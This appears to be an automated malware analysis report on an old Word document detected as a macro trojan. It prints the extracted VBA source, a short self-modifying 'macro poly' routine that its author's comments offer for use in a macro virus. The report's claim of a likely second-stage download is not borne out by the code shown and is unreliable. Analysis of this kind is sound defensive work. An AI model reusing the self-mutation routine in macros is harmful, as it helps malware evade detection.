Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4b39c2a6dbf2fbff…

MALICIOUS

Office (OLE)

30.0 KB Created: 1998-06-13 14:37:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 874a48659eb6657c36fa3dc8da7d6be1 SHA-1: 982feb2ba0b50ee4234d2dd842c3c978dce4434b SHA-256: 4b39c2a6dbf2fbff41d067e869591556fcdf999f6088d9da1e5e0ccf8cfdddd6
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is identified as malicious by ClamAV with the signature Win.Trojan.W97M-1. It contains VBA macros, indicated by the 'OLE_VBA_MACROS' heuristic. The extracted VBA code, named 'macros.bas', appears to be a simple obfuscation routine that modifies its own source code by prepending comments containing application details. While the exact payload is not directly executed or evident, the presence of obfuscated macros strongly suggests an intent to download and execute a second-stage payload.

Heuristics 2

  • ClamAV: Win.Trojan.W97M-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.W97M-1
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 794 bytes
SHA-256: abd19f4cf648dbf0dcd9903384f12acd7225a7f3c64b1db9230116368da3140e
Detection
ClamAV: Win.Trojan.W97M-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "VSMP_DEMO"
Function VSMP()

Y = Application.VBE.ActiveVBProject.VBComponents("VSMP_DEMO").CodeModule.CountOfLines

With Application.VBE.ActiveVBProject.VBComponents("VSMP_DEMO").CodeModule

For x = 2 To Y Step 2

.ReplaceLine x, "' " & Application.UserInitials & Now & Application.UserName & Application.ActivePrinter & Now

Next x

End With

End Function

' Vic's Simple Macro Poly

' Replace "VSMP_DEMO" with the name of your macro vius

' Remove these comments

' peace,

'   VicodinES /CB /TNN

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